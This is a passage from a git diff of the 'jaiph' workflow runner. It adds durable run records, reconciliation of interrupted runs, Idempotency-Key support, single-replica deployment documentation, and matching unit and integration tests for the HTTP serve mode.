one OTLP trace and one Sentry event on failure; a Docker-sandboxed run exports exactly once; an unreachable endpoint cannot delay an HTTP/MCP terminal result or occupied slot beyond a small tested bound). Docs: the every-run-mode coverage note and the concurrent-under-one-budget / detached-delivery / bounded-metrics paragraph in [Export traces to an OTLP collector](docs/observability.md), the `JAIPH_TELEMETRY_FLUSH_MS` row and the `JAIPH_DOCKER_SANDBOX` internal-Docker-only row in [Environment variables](docs/env-vars.md), and the telemetry-section note that the one Jaiph-owned knob bounds — but never enables — delivery. (Follow-up to the OTLP + Sentry telemetry work in this release.) diff --git a/QUEUE.md b/QUEUE.md index d03ad21f..b8398f1c 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,24 +14,6 @@ Process rules: *** -## Make service runs restart-safe and retry-safe #dev-ready - -Run artifacts are durable, but HTTP run discovery is only an in-memory map. Restarting the process makes completed run IDs unreachable, loses in-flight state, and makes client retries start duplicate expensive workflows. This is a single-process developer server, not yet a reliable company service contract. - -Scope: - -- Persist the public run record beside the journal and reconstruct terminal runs on startup. -- Reconcile interrupted `running` records after process death into an explicit terminal state. -- Support an idempotency key on run creation, scoped to workflow plus authenticated principal, with conflict detection for a reused key and different arguments. -- Define the supported deployment topology explicitly. If multi-replica operation is not implemented, fail/document it as single-replica and keep the Kubernetes example at one replica. - -Acceptance: - -- After restart, list/get/events/artifacts work for pre-restart terminal runs. -- A run interrupted by process death is not reported as permanently running. -- Repeating an identical create request with the same idempotency key returns the original run; changed arguments produce a conflict and never spawn. -- Recovery and idempotency survive a real process restart integration test. - ## Add production authentication, authorization, and audit identity #dev-ready `JAIPH_SERVE_TOKEN` is a useful fail-closed shared-secret gate, but it provides no user identity, revocation, per-action authorization, or attribution. That is insufficient when multiple company users can invoke arbitrary engineering workflows. diff --git a/docs/cli.md b/docs/cli.md index 7263d71b..b5849a02 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -385,15 +385,17 @@ Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (diagnostics to s | `GET /openapi.json` | none | OpenAPI 3.1 document, regenerated per request (hot reload needs no cache invalidation). | | `GET /docs` | none | Swagger UI shell (loads `swagger-ui-dist` from a pinned, SRI-verified CDN). | | `GET /v1/workflows` | bearer | `{workflows: [{name, description, params}]}`. | -| `POST /v1/workflows/{name}/runs` | bearer | Start a run. Default `202` + `Location: /v1/runs/{id}`; `?wait=true` blocks for the terminal `200`. | -| `GET /v1/runs` | bearer | Runs started by this process (in-memory), newest first. Paginated: `?limit` (default `100`, clamped to `1000`), `?offset` (default `0`). Response is `{runs, total, limit, offset}` and never unbounded. | +| `POST /v1/workflows/{name}/runs` | bearer | Start a run. Default `202` + `Location: /v1/runs/{id}`; `?wait=true` blocks for the terminal `200`. Send an `Idempotency-Key` header (scoped to the authenticated principal + workflow) to make retries safe: an identical repeat returns the original run (`200`, no second spawn); a reused key with different arguments is `409 E_IDEMPOTENCY_CONFLICT` and spawns nothing. | +| `GET /v1/runs` | bearer | Runs started by this process **plus runs reconstructed from disk on restart**, newest first. Paginated: `?limit` (default `100`, clamped to `1000`), `?offset` (default `0`). Response is `{runs, total, limit, offset}` and never unbounded. | | `GET /v1/runs/{id}` | bearer | The run object. `404` unknown. | | `GET /v1/runs/{id}/events` | bearer | The run's `run_summary.jsonl`. Default `application/x-ndjson` snapshot, streamed from disk (never buffered whole); `Accept: text/event-stream` replays then follows it live, closing with `event: end` when terminal. Served verbatim (already credential-redacted); raw capture files are never exposed. `404` unknown. | | `GET /v1/runs/{id}/artifacts` | bearer | `{artifacts: [{path, size, mtime}]}` for files published under the run's `artifacts/` (empty when none). `404` unknown. | | `GET /v1/runs/{id}/artifacts/{path}` | bearer | Download one published file (`application/octet-stream`), streamed with backpressure — never buffered whole, so an arbitrarily large file costs no server memory and a client disconnect closes the file. Traversal-proof — `..`, absolute paths, and escaping symlinks are `404`. `413 E_ARTIFACT_TOO_LARGE` when the file exceeds `JAIPH_SERVE_MAX_ARTIFACT_BYTES`. | | `POST /v1/runs/{id}/cancel` | bearer | `202`; the run reaches `cancelled`. `409` if already terminal. | -The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}` where `status` is `running` \| `succeeded` \| `failed` \| `cancelled`. **A workflow failure is not an HTTP error** — the run object reports `status: "failed"` with the same failure narrative `jaiph mcp` returns, over HTTP `200`/`202`. Errors use `{error: {code, message}}` with `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED`, `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `413 E_BODY_TOO_LARGE` (1 MiB request-body cap), `413 E_ARTIFACT_TOO_LARGE` (artifact download over `JAIPH_SERVE_MAX_ARTIFACT_BYTES`), `415` (non-`application/json` body), and `429 E_TOO_MANY_RUNS`. +The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}` where `status` is `running` \| `succeeded` \| `failed` \| `cancelled` \| `interrupted`. `interrupted` is the terminal state a run is reconciled to after a process death caught it mid-flight — its outcome is unknown, so it is neither `succeeded` nor `failed`, but it is never reported as permanently `running`. **A workflow failure is not an HTTP error** — the run object reports `status: "failed"` with the same failure narrative `jaiph mcp` returns, over HTTP `200`/`202`. Errors use `{error: {code, message}}` with `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED`, `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `409 E_IDEMPOTENCY_CONFLICT` (idempotency key reused with different arguments), `413 E_BODY_TOO_LARGE` (1 MiB request-body cap), `413 E_ARTIFACT_TOO_LARGE` (artifact download over `JAIPH_SERVE_MAX_ARTIFACT_BYTES`), `415` (non-`application/json` body), and `429 E_TOO_MANY_RUNS`. + +Each run's public record is persisted beside its journal as `run.json` when it finishes, and reconstructed into the registry on startup — so `GET /v1/runs`, `/v1/runs/{id}`, `/events`, and `/artifacts` keep working for pre-restart terminal runs, and idempotency keys survive a restart. `jaiph serve` is a **single-replica** service: the run registry, concurrency cap, and idempotency index are per-process and not shared across replicas — run two behind one load balancer and each has its own view. See [Serve — deployment topology](serve.md#deployment-topology). ### Auth and limits diff --git a/docs/deploy.md b/docs/deploy.md index 7c3b97fc..d29f8795 100644 --- a/docs/deploy.md +++ b/docs/deploy.md @@ -76,6 +76,7 @@ The manifest runs `jaiph serve --host 0.0.0.0` as a long-lived HTTP runner (see - **Pod hardening by default.** `runAsNonRoot` with the image's fixed `jaiph` UID/GID (`10001`), `allowPrivilegeEscalation: false`, all capabilities dropped, the `RuntimeDefault` seccomp profile, `readOnlyRootFilesystem: true`, and `automountServiceAccountToken: false` (workflows never talk to the Kubernetes API, so they get no API credential to leak). - **Writable mounts only where required.** Workflow sources stay read-only (a ConfigMap at `/work`); run artifacts go to a dedicated `emptyDir` at `/jaiph/runs` via `JAIPH_RUNS_DIR` (swap it for a PVC if runs must survive pod replacement). Two more `emptyDir`s cover what Jaiph and the agent CLIs genuinely write: `/tmp` (extracted scripts, scratch) and a fresh `$HOME` at `/jaiph/home` (claude/cursor state; the baked `PATH` still finds `cursor-agent` under the image's read-only `/home/jaiph/.local/bin`). +- **Single replica by design.** The manifest pins `replicas: 1` with a `Recreate` strategy. `jaiph serve` holds its run registry, concurrency cap, and idempotency index in process with no shared store, so multi-replica operation is unsupported — scale vertically (resources + `JAIPH_SERVE_MAX_CONCURRENT`), not by adding replicas. It is restart-safe within that single process: run records persist beside their journals on the runs volume and are reconstructed on startup (use a PVC, not an `emptyDir`, if they must survive pod replacement). See [Serve — deployment topology](serve.md#deployment-topology). - **Image tag pinning.** The manifest ships `:nightly` with an inline note to pin a released tag or a `@sha256:` digest for production — never track a moving tag. - **TLS via ingress.** `jaiph serve` speaks plain HTTP; the Service stays `ClusterIP` and you terminate TLS at an Ingress / gateway (cert-manager, a cloud LB, or a mesh) in front of it. Do not expose the token-guarded API to the internet without TLS. - **Resource requests.** Agent workloads are CPU- and memory-hungry — they spawn backend CLIs plus build/test toolchains. The manifest requests `1` CPU / `2Gi` and limits `2` CPU / `4Gi` as a starting point; tune to your workflows. diff --git a/docs/deploy/k8s.yaml b/docs/deploy/k8s.yaml index 782dfd4f..904e3cde 100644 --- a/docs/deploy/k8s.yaml +++ b/docs/deploy/k8s.yaml @@ -55,7 +55,17 @@ metadata: labels: app: jaiph-runner spec: + # Single replica is the ONLY supported topology. `jaiph serve` keeps its run + # registry, concurrency cap, and idempotency index in process — there is no + # shared store, so a second replica would not see the first's runs, would + # enforce the concurrency cap independently, and could run the same + # Idempotency-Key once per replica. Scale vertically (resources + + # JAIPH_SERVE_MAX_CONCURRENT), never by raising this. See docs/serve.md + # "Deployment topology". Recreate ensures a rollout hands the runs volume to + # exactly one successor pod. replicas: 1 + strategy: + type: Recreate selector: matchLabels: app: jaiph-runner diff --git a/docs/serve.md b/docs/serve.md index fb13f5fb..b7d145d8 100644 --- a/docs/serve.md +++ b/docs/serve.md @@ -130,6 +130,33 @@ The concurrency cap limits *active* children, not process memory. A long-lived s **Eviction is in-memory only.** Dropping a run from the registry does **not** delete its durable `.jaiph/runs//run_summary.jsonl` journal or published `artifacts/` — those persist on disk (via `JAIPH_RUNS_DIR`, an `emptyDir` or PVC under Kubernetes) and are **the operator's to prune**. Once a run is evicted its API endpoints (`GET /v1/runs/{id}`, `/events`, `/artifacts`) return `404`; read the durable artifacts from the filesystem instead. +## Restart-safe and retry-safe + +The run registry is in memory, but it is **rebuilt from disk on startup** so a restart is not a data-loss event: + +- **Durable run records.** When a run finishes, its public record (`run.json`) is written atomically beside its journal in the run directory. On startup `jaiph serve` scans `JAIPH_RUNS_DIR` and reloads every `run.json`, so `GET /v1/runs`, `GET /v1/runs/{id}`, `/events`, and `/artifacts` keep answering for terminal runs that completed before the restart. +- **Interrupted runs are reconciled.** A run that was still `running` when the process died has a journal but no `run.json`. On startup it is reconciled into the explicit terminal status **`interrupted`** — its real outcome is unknown (so it is neither `succeeded` nor `failed`), but it is **never reported as permanently `running`**. The reconciliation is persisted, so it is stable across further restarts. +- **Idempotent run creation.** Send an `Idempotency-Key` request header on `POST /v1/workflows/{name}/runs`. The key is scoped to the authenticated principal **and** the workflow. Repeating the request with the same key and identical arguments returns the **original** run (`200`) and starts nothing; reusing the key with **different** arguments is `409 E_IDEMPOTENCY_CONFLICT` and, again, spawns nothing — so a client that retries an expensive run after a network blip or a server restart never doubles it. The key→run mapping is stored in the durable record, so it survives a restart too. (An idempotency key is only remembered as long as its run is retained in the registry; once a run is evicted by the retention bounds above, its key is forgotten and a fresh request with that key starts a new run.) + +```bash +# The same key + same args returns the original run and spawns nothing. +KEY=$(uuidgen) +curl -s -X POST 'http://127.0.0.1:5247/v1/workflows/greet/runs?wait=true' \ + -H 'content-type: application/json' -H "Idempotency-Key: $KEY" -d '{"name":"ok"}' | jq .run_id +curl -s -X POST 'http://127.0.0.1:5247/v1/workflows/greet/runs?wait=true' \ + -H 'content-type: application/json' -H "Idempotency-Key: $KEY" -d '{"name":"ok"}' | jq .run_id # same id + +# The same key + different args is a 409 conflict (spawns nothing). +curl -s -o /dev/null -w '%{http_code}\n' -X POST 'http://127.0.0.1:5247/v1/workflows/greet/runs' \ + -H 'content-type: application/json' -H "Idempotency-Key: $KEY" -d '{"name":"changed"}' # 409 +``` + +## Deployment topology + +`jaiph serve` is a **single-replica** service. Its run registry, in-flight concurrency cap, and idempotency index are **per-process** — there is no shared store and no cross-replica coordination. Running two or more replicas behind a load balancer is **not supported**: each replica would see only its own runs (`GET /v1/runs/{id}` would `404` for a run another replica started), enforce `JAIPH_SERVE_MAX_CONCURRENT` independently, and keep a separate idempotency index (so the same `Idempotency-Key` could start one run per replica). Restart safety and retry safety hold **within a single long-lived process** that owns one `JAIPH_RUNS_DIR`. + +Deploy exactly one replica. The [Kubernetes manifest](deploy.md#kubernetes) pins `replicas: 1` for this reason; scale vertically (CPU/memory and `JAIPH_SERVE_MAX_CONCURRENT`), not horizontally. Point `JAIPH_RUNS_DIR` at a durable volume (a PVC rather than an `emptyDir`) if runs and their idempotency keys must survive pod replacement, and keep the pod a `Recreate`-strategy single instance so a rollout hands the runs directory to exactly one successor. + Execution honors the same execution-policy contract as [`jaiph run`](cli.md#jaiph-run) and [Run in a Docker sandbox](/how-to/sandbox-run): a Docker sandbox with an isolated workspace by default. `--inplace` (`JAIPH_INPLACE=1`) keeps the sandbox but binds the real workspace read-write so run effects land live; `--unsafe` (`JAIPH_UNSAFE=true`) runs on the host with no sandbox at all. The two are mutually exclusive (`E_FLAG_CONFLICT` at startup), the posture is resolved and printed once at startup and applied to every run, and launching the server with the flag or env var is the consent (no interactive prompt) — see [Environment variables — Precedence](env-vars.md#precedence). Publish files a run produces with [artifacts](/how-to/artifacts). Editing a served source hot-reloads the workflow set (and the OpenAPI document) with no restart; runs already in flight keep running. ## Reverse-proxy and ingress requirements diff --git a/integration/serve-restart.test.ts b/integration/serve-restart.test.ts new file mode 100644 index 00000000..76c0079b --- /dev/null +++ b/integration/serve-restart.test.ts @@ -0,0 +1,186 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { spawn, type ChildProcess } from "node:child_process"; +import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; + +const CLI_PATH = join(process.cwd(), "dist/src/cli.js"); + +const FIXTURE = [ + "# Greets the given name.", + "workflow greet(name) {", + ' return "hi ${name}"', + "}", + "", + "script long = `sleep 3`", + "# Long enough to be caught mid-flight before a hard kill.", + "workflow longflow() {", + " run long()", + ' return "done"', + "}", + "", +].join("\n"); + +function serveEnv(runsRoot: string): NodeJS.ProcessEnv { + return { + ...process.env, + JAIPH_DOCKER_ENABLED: "false", + JAIPH_RUNS_DIR: runsRoot, + PATH: `${dirname(process.execPath)}:${process.env.PATH ?? ""}`, + }; +} + +interface ServeProc { + baseUrl: string; + child: ChildProcess; + stderr: () => string; +} + +/** Spawn `jaiph serve --port 0` and resolve once it logs its bound URL. */ +function startServe(fixture: string, cwd: string, env: NodeJS.ProcessEnv): Promise { + const child = spawn("node", [CLI_PATH, "serve", "--port", "0", fixture], { cwd, env, stdio: ["ignore", "pipe", "pipe"] }); + let stderrBuf = ""; + return new Promise((resolve, reject) => { + const timer = setTimeout(() => reject(new Error(`serve did not start\nstderr:\n${stderrBuf}`)), 20_000); + child.stderr!.setEncoding("utf8"); + child.stderr!.on("data", (chunk: string) => { + stderrBuf += chunk; + const m = stderrBuf.match(/listening on (http:\/\/[^ ]+)/); + if (m) { + clearTimeout(timer); + resolve({ baseUrl: m[1], child, stderr: () => stderrBuf }); + } + }); + child.on("exit", (code) => { + clearTimeout(timer); + reject(new Error(`serve exited early (code ${code})\nstderr:\n${stderrBuf}`)); + }); + }); +} + +function delay(ms: number): Promise { + return new Promise((r) => setTimeout(r, ms)); +} + +/** SIGTERM then SIGKILL fallback; resolves once the process has exited. */ +function stop(child: ChildProcess, signal: NodeJS.Signals = "SIGTERM"): Promise { + return new Promise((res) => { + if (child.exitCode !== null || child.signalCode !== null) return res(); + child.on("exit", () => res()); + child.kill(signal); + setTimeout(() => child.kill("SIGKILL"), 6_000).unref(); + }); +} + +async function getRun(baseUrl: string, id: string): Promise { + const res = await fetch(`${baseUrl}/v1/runs/${id}`); + return { status: res.status, body: res.status === 200 ? await res.json() : null }; +} + +test("jaiph serve: recovery + idempotency survive a real process restart", async () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-serve-restart-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, FIXTURE); + const runsRoot = join(root, ".jaiph/runs"); + + const srv1 = await startServe(jh, root, serveEnv(runsRoot)); + let terminalId: string; + let longId: string; + try { + // 1) A completed run with an idempotency key — the record we expect to + // reconstruct after restart. + const created = await fetch(`${srv1.baseUrl}/v1/workflows/greet/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json", "idempotency-key": "idem-1" }, + body: JSON.stringify({ name: "world" }), + }); + assert.equal(created.status, 200); + const run = await created.json(); + assert.equal(run.status, "succeeded"); + assert.equal(run.result_text, "hi world"); + terminalId = run.run_id; + + // Space the next run into a distinct wall-clock second: run directories are + // named `-`, so two runs in the same second would share + // one directory (and one durable record). + await delay(1200); + + // 2) A long run started async and left in flight, so a hard kill interrupts it. + const longRes = await fetch(`${srv1.baseUrl}/v1/workflows/longflow/runs`, { + method: "POST", + headers: { "content-type": "application/json" }, + body: "{}", + }); + assert.equal(longRes.status, 202); + longId = (await longRes.json()).run_id; + // Wait until it is observably running (its run dir + journal exist). + for (let i = 0; i < 40; i += 1) { + const r = await getRun(srv1.baseUrl, longId); + if (r.body?.status === "running" && r.body?.run_dir === null) { + // run_dir is only set at finalize; a running record with a discoverable + // journal is what we want. Break once the journal is on disk. + } + // Confirm the journal exists via the events endpoint resolving a dir. + const ev = await fetch(`${srv1.baseUrl}/v1/runs/${longId}/events`); + if (ev.status === 200 && (await ev.text()).includes("WORKFLOW_START")) break; + await delay(100); + } + } finally { + // Hard kill: SIGKILL bypasses graceful drain, leaving the long run's record + // with no persisted terminal state — exactly a process-death interruption. + await stop(srv1.child, "SIGKILL"); + } + + // 3) Restart on the same runs root. + const srv2 = await startServe(jh, root, serveEnv(runsRoot)); + try { + // (a) The pre-restart terminal run is fully reachable again. + const reloaded = await getRun(srv2.baseUrl, terminalId); + assert.equal(reloaded.status, 200, "GET works for a pre-restart terminal run"); + assert.equal(reloaded.body.status, "succeeded"); + assert.equal(reloaded.body.result_text, "hi world"); + + // events + artifacts work for the reloaded run. + const ev = await fetch(`${srv2.baseUrl}/v1/runs/${terminalId}/events`); + assert.equal(ev.status, 200); + const journal = readFileSync(join(reloaded.body.run_dir, "run_summary.jsonl")); + assert.deepEqual(Buffer.from(await ev.arrayBuffer()), journal, "NDJSON events byte-match the journal after restart"); + const arts = await fetch(`${srv2.baseUrl}/v1/runs/${terminalId}/artifacts`); + assert.equal(arts.status, 200); + + // (b) The interrupted run is reconciled out of `running`. + const interrupted = await getRun(srv2.baseUrl, longId); + assert.equal(interrupted.status, 200, "the interrupted run is still addressable"); + assert.equal(interrupted.body.status, "interrupted", "a run killed mid-flight is not permanently running"); + + // (c) Idempotency survives: same key + same args returns the ORIGINAL run, + // spawning nothing new. + const before = (await (await fetch(`${srv2.baseUrl}/v1/runs`)).json()).total; + const replay = await fetch(`${srv2.baseUrl}/v1/workflows/greet/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json", "idempotency-key": "idem-1" }, + body: JSON.stringify({ name: "world" }), + }); + assert.equal(replay.status, 200); + assert.equal((await replay.json()).run_id, terminalId, "same key + args returns the reconstructed original run"); + const after = (await (await fetch(`${srv2.baseUrl}/v1/runs`)).json()).total; + assert.equal(after, before, "no new run was spawned by the idempotent replay"); + + // (d) Same key + changed args is a conflict that never spawns. + const conflict = await fetch(`${srv2.baseUrl}/v1/workflows/greet/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json", "idempotency-key": "idem-1" }, + body: JSON.stringify({ name: "changed" }), + }); + assert.equal(conflict.status, 409); + assert.equal((await conflict.json()).error.code, "E_IDEMPOTENCY_CONFLICT"); + const afterConflict = (await (await fetch(`${srv2.baseUrl}/v1/runs`)).json()).total; + assert.equal(afterConflict, before, "the conflicting request spawned nothing"); + } finally { + await stop(srv2.child, "SIGTERM"); + // The orphaned `sleep 3` child from the interrupted run exits on its own. + await delay(200); + rmSync(root, { recursive: true, force: true }); + } +}); diff --git a/src/cli/commands/serve.ts b/src/cli/commands/serve.ts index e50b2edc..8a74375a 100644 --- a/src/cli/commands/serve.ts +++ b/src/cli/commands/serve.ts @@ -17,6 +17,7 @@ import { type StartupPosture, } from "../shared/generation"; import { ServeHandler } from "../serve/handler"; +import { loadPersistedRuns, persistRunRecord } from "../serve/run-store"; import { createHttpServer, listen } from "../serve/server"; import { VERSION } from "../../version"; @@ -218,6 +219,20 @@ export async function runServe(rest: string[]): Promise { // Track in-flight run promises so shutdown can drain them. const inFlightRuns = new Set>(); + // Reconstruct durable run state from the runs tree: reload terminal runs from + // their persisted run.json and reconcile any run left `running` by a previous + // process death into the terminal `interrupted` state. A restart therefore + // keeps list/get/events/artifacts and idempotency working for prior runs. + let initialRuns: ReturnType = []; + try { + initialRuns = loadPersistedRuns(hostRunsRoot, new Date().toISOString()); + if (initialRuns.length > 0) { + log(`jaiph serve: reconstructed ${initialRuns.length} run(s) from ${hostRunsRoot}`); + } + } catch (err) { + log(`jaiph serve: could not reconstruct prior runs: ${err instanceof Error ? err.message : String(err)}`); + } + const handler = new ServeHandler({ version: VERSION, serverTitle: `jaiph — ${basename(inputAbs)}`, @@ -228,6 +243,10 @@ export async function runServe(rest: string[]): Promise { maxArtifactBytes, log, now: () => new Date().toISOString(), + initialRuns, + // Persist each run's public record beside its journal at finalize so a + // restart can reload it (and its idempotency key) from disk. + persistRun: persistRunRecord, // A run's dir is only recorded on its object at finalize; while it runs the // events/artifacts endpoints locate it by scanning the host runs root for // the run id (works host- and Docker-side — the run dir is a host mount). diff --git a/src/cli/serve/handler.test.ts b/src/cli/serve/handler.test.ts index 91a2941f..58502f81 100644 --- a/src/cli/serve/handler.test.ts +++ b/src/cli/serve/handler.test.ts @@ -4,6 +4,7 @@ import { appendFileSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFile import { tmpdir } from "node:os"; import { join } from "node:path"; import { ServeHandler, type RunRecord, type ServeRequest, type ServeResponse } from "./handler"; +import { hashArgs } from "./run-store"; import type { StreamTarget } from "./runfiles"; import type { McpToolSpec } from "../mcp/tools"; import type { WorkflowCallResult, WorkflowCallContext } from "../exec/call"; @@ -47,6 +48,8 @@ function makeHandler(overrides?: { resolveRunDir?: (record: RunRecord) => string | null; ssePollMs?: number; maxArtifactBytes?: number; + initialRuns?: RunRecord[]; + persistRun?: (record: RunRecord) => void; }): ServeHandler { let n = 0; return new ServeHandler({ @@ -63,6 +66,8 @@ function makeHandler(overrides?: { resolveRunDir: overrides?.resolveRunDir, ssePollMs: overrides?.ssePollMs, maxArtifactBytes: overrides?.maxArtifactBytes, + initialRuns: overrides?.initialRuns, + persistRun: overrides?.persistRun, }); } @@ -245,6 +250,128 @@ test("a workflow failure is not an HTTP error: 200 with status failed and exit_s assert.match(body.result_text, /run dir:/); }); +// === idempotency === + +/** A create request carrying an Idempotency-Key header and JSON args. */ +function idemReq(target: string, key: string, headers?: Record): ServeRequest { + return req("POST", "/v1/workflows/build/runs?wait=true", { + headers: { "content-type": "application/json", "idempotency-key": key, ...headers }, + body: JSON.stringify({ target }), + }); +} + +test("idempotency: repeating a create with the same key and args returns the original run and never re-spawns", async () => { + let spawns = 0; + const h = makeHandler({ + callTool: async () => { + spawns += 1; + return { text: "built", isError: false, exitStatus: 0, runDir: "/runs/x" }; + }, + }); + const first = bodyJson(await h.handleRequest(idemReq("app", "key-1"))); + assert.equal(first.status, "succeeded"); + const again = await h.handleRequest(idemReq("app", "key-1")); + assert.equal(again.status, 200); + assert.equal(bodyJson(again).run_id, first.run_id, "same run id returned"); + assert.equal(spawns, 1, "the workflow ran exactly once"); +}); + +test("idempotency: the same key with different arguments is 409 and never spawns", async () => { + let spawns = 0; + const h = makeHandler({ + callTool: async () => { + spawns += 1; + return { text: "built", isError: false, exitStatus: 0, runDir: "/runs/x" }; + }, + }); + await h.handleRequest(idemReq("app", "key-1")); + const conflict = await h.handleRequest(idemReq("other", "key-1")); + assert.equal(conflict.status, 409); + assert.equal(bodyJson(conflict).error.code, "E_IDEMPOTENCY_CONFLICT"); + assert.equal(spawns, 1, "the conflicting request did not start a run"); +}); + +test("idempotency: distinct keys, workflows, and principals are independent", async () => { + const h = makeHandler({ + token: "secret", + tools: [BUILD_TOOL, { ...BUILD_TOOL, name: "other_wf", workflow: "other_wf" }], + callTool: async () => ({ text: "built", isError: false, exitStatus: 0, runDir: "/runs/x" }), + }); + const auth = { authorization: "Bearer secret" }; + const r1 = bodyJson(await h.handleRequest(idemReq("app", "k", auth))); + // Different key → new run. + const r2 = bodyJson(await h.handleRequest(idemReq("app", "k2", auth))); + assert.notEqual(r2.run_id, r1.run_id); + // Same key but different workflow → new run (scope includes the workflow). + const otherWf = req("POST", "/v1/workflows/other_wf/runs?wait=true", { + headers: { "content-type": "application/json", "idempotency-key": "k", ...auth }, + body: JSON.stringify({ target: "app" }), + }); + const r3 = bodyJson(await h.handleRequest(otherWf)); + assert.notEqual(r3.run_id, r1.run_id, "same key on a different workflow is a separate run"); +}); + +test("idempotency: an evicted original spawns fresh instead of returning a dangling id", async () => { + const h = makeHandler({ + retainRuns: 1, + callTool: async () => ({ text: "built", isError: false, exitStatus: 0, runDir: "/runs/x" }), + }); + const first = bodyJson(await h.handleRequest(idemReq("app", "key-1"))); + // A second run under a different key evicts the first (retainRuns=1). + await h.handleRequest(idemReq("app", "key-2")); + assert.equal(h.runs.has(first.run_id), false, "original was evicted"); + // Replaying key-1 now must create a new run, not return the evicted id. + const replay = bodyJson(await h.handleRequest(idemReq("app", "key-1"))); + assert.notEqual(replay.run_id, first.run_id); + assert.equal(replay.status, "succeeded"); +}); + +// === restart reconstruction (seeded registry) === + +test("initialRuns seed the registry so a restarted server serves prior terminal runs and their idempotency keys", async () => { + const seeded: RunRecord = { + run_id: "prior-1", + workflow: "build", + status: "succeeded", + started_at: "2026-07-23T00:00:00.000Z", + ended_at: "2026-07-23T00:00:01.000Z", + exit_status: 0, + signal: null, + result_text: "built earlier", + run_dir: "/runs/prior-1", + cancelled: false, + order: 0, + idempotency_key: "anonymous\nbuild\nkey-1", + args_hash: hashArgs({ target: "app" }), + }; + const h = makeHandler({ + initialRuns: [seeded], + callTool: async () => ({ text: "fresh", isError: false, exitStatus: 0, runDir: "/runs/x" }), + }); + // GET works for the pre-restart run. + const got = bodyJson(await h.handleRequest(req("GET", "/v1/runs/prior-1"))); + assert.equal(got.status, "succeeded"); + assert.equal(got.result_text, "built earlier"); + // Its idempotency key is honored across the restart: a matching replay + // returns the reconstructed run rather than spawning a new one. + const replay = await h.handleRequest(idemReq("app", "key-1")); + assert.equal(replay.status, 200); + assert.equal(bodyJson(replay).run_id, "prior-1"); +}); + +test("persistRun fires with the terminal record at finalize", async () => { + const persisted: RunRecord[] = []; + const h = makeHandler({ + tools: [NOARG_TOOL], + persistRun: (r) => persisted.push({ ...r }), + callTool: async () => ({ text: "ok", isError: false, exitStatus: 0, runDir: "/runs/x" }), + }); + await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true")); + assert.equal(persisted.length, 1); + assert.equal(persisted[0].status, "succeeded"); + assert.equal(persisted[0].run_dir, "/runs/x"); +}); + // === run inspection === test("GET /v1/runs/{id} for an unknown id is 404, and lists newest first", async () => { diff --git a/src/cli/serve/handler.ts b/src/cli/serve/handler.ts index 597b84c4..97655406 100644 --- a/src/cli/serve/handler.ts +++ b/src/cli/serve/handler.ts @@ -1,4 +1,4 @@ -import { randomUUID, timingSafeEqual } from "node:crypto"; +import { createHash, randomUUID, timingSafeEqual } from "node:crypto"; import { statSync } from "node:fs"; import { basename, join } from "node:path"; import type { McpToolSpec } from "../mcp/tools"; @@ -13,6 +13,7 @@ import { RUN_SUMMARY, type StreamTarget, } from "./runfiles"; +import { hashArgs } from "./run-store"; /** 1 MiB cap on request bodies (design doc). */ export const MAX_BODY_BYTES = 1024 * 1024; @@ -22,7 +23,13 @@ export const DEFAULT_RUNS_PAGE = 100; /** Hard maximum page size for `GET /v1/runs` — a `limit` above this is clamped. */ export const MAX_RUNS_PAGE = 1000; -export type RunStatus = "running" | "succeeded" | "failed" | "cancelled"; +/** + * `interrupted` is a terminal state reserved for a run that was `running` when + * the serving process died: on restart it is reconciled out of `running` (a run + * is never reported as permanently running) but its real outcome is unknown, so + * it is neither `succeeded` nor `failed`. + */ +export type RunStatus = "running" | "succeeded" | "failed" | "cancelled" | "interrupted"; /** In-memory record for one run: the public run object plus cancel bookkeeping. */ export interface RunRecord { @@ -41,6 +48,16 @@ export interface RunRecord { cancel?: () => void; /** Monotonic insertion index for newest-first listing. */ order: number; + /** + * Composite idempotency key (`principal\nworkflow\nkey`) this run reserved, so + * eviction can drop the index entry and startup can rebuild the index. Absent + * when the create carried no `Idempotency-Key`. + */ + idempotency_key?: string; + /** Principal the idempotency key is scoped to (persisted for reconstruction). */ + principal?: string; + /** SHA-256 of the run's canonical args, compared to reject a reused key with changed args. */ + args_hash?: string; /** * Cached result of the injected `resolveRunDir` scan for a still-running run, * so a live SSE poll loop resolves the runs tree at most once. Never part of @@ -140,10 +157,24 @@ export interface ServeHandlerOptions { * backpressure, so size never translates into server memory. */ maxArtifactBytes?: number; + /** + * Records reconstructed from the durable runs tree at startup (terminal runs + * reloaded from their persisted `run.json`, plus interrupted runs reconciled + * out of `running`). Seeded into the registry before the first request so + * list/get/events/artifacts and idempotency survive a process restart. The + * order is oldest-first; the handler assigns monotonic `order`. + */ + initialRuns?: RunRecord[]; + /** + * Persist a run's public record beside its journal when it finalizes, so a + * later restart can reload it. Defaults to a no-op (tests that don't exercise + * durability skip it); the serve command supplies the real filesystem writer. + */ + persistRun?: (record: RunRecord) => void; } function isTerminal(status: RunStatus): boolean { - return status === "succeeded" || status === "failed" || status === "cancelled"; + return status === "succeeded" || status === "failed" || status === "cancelled" || status === "interrupted"; } /** @@ -160,6 +191,14 @@ export class ServeHandler { /** In-memory run registry, keyed by run id. Public so tests can inspect it. */ readonly runs = new Map(); private orderCounter = 0; + /** + * Composite idempotency key (`principal\nworkflow\nkey`) → run id. Reserved + * synchronously at create time and consulted before spawning, so a repeated + * create with the same key returns the original run instead of starting a + * duplicate. Rebuilt from reconstructed records at startup; entries are + * dropped when their run is evicted. + */ + private readonly idempotencyIndex = new Map(); /** * MCP protocol engine for the `POST /mcp` Streamable 